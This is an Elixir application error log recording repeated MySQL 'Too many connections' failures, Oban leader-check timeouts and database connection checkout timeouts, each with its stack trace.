    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:21:52.728000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:54.431000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:54.621000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:55.278000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:56.535000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:04.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:04.526000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:17.886000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:19.786000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:20.445000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:27.759000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:22:31.512000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:32.760000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:22:36.793000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:37.625000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:22:37.627000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:40.258000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:41.464000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:44.838000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:49.934000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:50.462000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:22:55.488000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:05.050000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:07.799000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:12.657000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:23:15.196000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:15.920000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:17.658000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:23:19.841000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:23:22.280000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:23:22.281000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:23.422000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:24.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:26.637000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:28.559000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:32.079000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:35.700000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:38.437000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:44.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:45.998000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:48.032000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:51.792000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:54.844000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:23:55.310000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:23:57.586000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:23:59.346000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:00.311000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:24:01.019000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:04.410000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:24:04.412000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:05.841000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:09.120000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:11.267000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:16.824000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:17.819000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:18.530000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:35.239000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:37.441000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:24:38.629000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:39.274000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:42.443000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:24:42.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:46.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:46.828000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:24:46.831000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:47.904000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:50.713000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:52.372000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:53.074000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:57.115000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:24:58.473000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:09.958000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:14.405000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:17.232000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:19.496000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:20.860000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:25:25.861000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:25:29.849000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:25:30.226000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:25:30.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:30.264000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:33.061000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:33.567000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:37.584000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:40.128000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:41.306000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:43.322000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:45.812000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:55.388000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:25:55.599000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:04.257000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
